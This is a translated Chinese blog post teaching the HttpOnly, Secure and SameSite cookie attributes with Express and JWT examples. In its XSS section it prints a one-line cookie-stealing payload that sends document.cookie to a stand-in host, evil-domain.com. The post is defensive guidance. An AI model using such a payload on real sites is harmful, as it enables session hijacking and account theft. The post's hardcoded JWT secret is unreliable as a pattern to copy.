了解Web Cookie的安全属性:HttpOnly、Secure、SameSite

profile image

学习Cookie的安全属性HttpOnly、Secure和SameSite,以及它们如何保护您的Web应用程序。

本帖由 Jetbrains's Coding Agent Junie junie logo翻译。如有任何翻译错误,请告知我们!

在Web开发中,Cookie是存储用户数据和管理会话的必要工具。但是,如果不妥善管理Cookie,可能会带来安全风险,为了防止这种情况,Cookie具有HttpOnly、Secure、SameSite等属性。

在本文中,我们将探讨这三个属性的作用和重要性,并通过实用示例介绍如何设置它们。

HttpOnly属性

HttpOnly属性限制客户端脚本访问Cookie。设置此属性后,Cookie只能通过HTTP/HTTPS请求发送到服务器。

服务器配置示例

javascript
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { httpOnly: true });

头部设置如下:

plaintext
# Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly
Set-Cookie: sessionId=sanghyeon; HttpOnly

普通Cookie可以通过客户端脚本访问,如下所示:

javascript
// Set-Cookie: normalCookie=thisisvisible; Path=/

// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible"

但是,应用了HttpOnly设置的Cookie无法通过客户端脚本访问。

javascript
// Set-Cookie: secureSessionId=thiisnotvisible; HttpOnly; Path=/

// JavaScript In Client
console.log(document.cookie); // "normalCookie=thisisvisible" (HttpOnly Cookie不可见)

通过HttpOnly防止XSS

Cookie通常用于在Web上验证用户会话。XSS(跨站脚本)攻击可以将恶意脚本插入网站,窃取用户的Cookie(例如会话ID)。

例如,恶意用户可能会执行以下脚本:

javascript
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

通过设置HttpOnly,攻击者无法通过JavaScript访问Cookie,从而减少会话劫持等威胁。

Secure属性

即使通过HttpOnly阻止了客户端访问,在使用HTTP通信时,Cookie仍可能通过中间人攻击被拦截。Secure属性确保Cookie仅通过加密的HTTPS连接传输,从而减少这种风险。

服务器配置示例

javascript
// Node.js (Express) example
res.cookie('sessionID', 'sanghyeon', { secure: true });

头部设置如下:

plaintext
# Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: sessionId=sanghyeon; Secure

Warning

Secure属性不会加密Cookie本身,它只是限制Cookie仅通过加密连接(HTTPS)传输。因此,即使设置了Secure,也不应在Cookie中存储敏感信息(密码、信用卡、个人标识符等),因为此选项并不提供完美的安全性。

SameSite属性

SameSite属性控制Cookie如何与跨站请求一起发送。这有助于防止CSRF(跨站请求伪造)攻击和不必要的信息泄露。截至撰写本文时(2025年4月),此属性仍是实验性功能,并非所有浏览器都支持。

服务器配置示例

javascript
res.cookie('sessionId', 'sanghyeon', { sameSite: 'lax' }); // 默认值(Chrome 80+)

头部设置如下:

plaintext
Set-Cookie: sessionId=sanghyeon; SameSite=Lax

工作原理

SameSite属性决定哪些类型的请求(同站请求与跨站请求)可以包含Cookie。它可以有三个值:

  1. Strict:最严格的设置。Cookie仅包含在源自与当前网站相同站点的请求中。对于从外部站点发起的请求,如点击链接进入站点,不会发送Cookie。
  2. Lax(默认值):比Strict稍微宽松。默认情况下,它的行为与Strict相同,但当通过外部链接导航到站点或发送GET请求时,会发送Cookie。
  3. None:Cookie会随同站请求和跨站请求一起发送。但是,要使用SameSite=None,必须同时设置Secure属性,这意味着它只能在HTTPS连接中工作。这主要用于外部服务集成、广告跟踪或其他需要在跨站上下文中使用Cookie的情况。

用于身份验证的Cookie管理策略

1. 双Cookie策略:确保安全性和可访问性

如果您需要在浏览器中访问Cookie同时保持安全性,可以采用使用两种类型Cookie的策略:

javascript
// server side
// 1. authentication token (HttpOnly)
res.cookie('authToken', 'abc123.token.xyz789', {
  httpOnly: true,
  secure: true,
  sameSite: 'strict'
});

// 2. state for ui (accessible in javascript)
res.cookie('userInfo', JSON.stringify({
  isLoggedIn: true,
  username: '用户名',
  role: '用户'
}));
  • 使用HttpOnly Cookie保护实际的身份验证令牌
  • 允许JavaScript访问UI所需的信息,使用普通Cookie

2. JWT和Cookie的安全使用

将JWT存储在HttpOnly Cookie中比存储在本地存储中更安全。

javascript
const token = jwt.sign({ userId: user.id }, 'secret_key', { expiresIn: '1h' });
res.cookie('jwt', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 3600000 // 1小时
});

3. 令牌生命周期管理和刷新策略

为了增强安全性,您可以结合使用短寿命访问令牌和长寿命刷新令牌:

javascript
// access token (short lifetime)
res.cookie('accessToken', accessToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 900000 // 15分钟
});

// refresh token (long lifetime)
res.cookie('refreshToken', refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  path: '/api/refresh',
  maxAge: 7 * 24 * 60 * 60 * 1000 // 7天
});
  • 即使访问令牌被拦截,也会很快过期
  • 刷新令牌限制在特定API路径,最小化暴露
  • 定期令牌更新增强安全性

总结

在Web中,Cookie是用户身份验证和会话管理的重要元素。正如本文所示,适当使用HttpOnly、Secure和SameSite属性可以防止各种攻击,如XSS、CSRF和会话劫持。

作为Web开发人员,我们有责任保护用户数据和隐私,所以让我们理解并正确使用Cookie安全属性!

❤️ 0
🔥 0
😎 0
⭐️ 0
🆒 0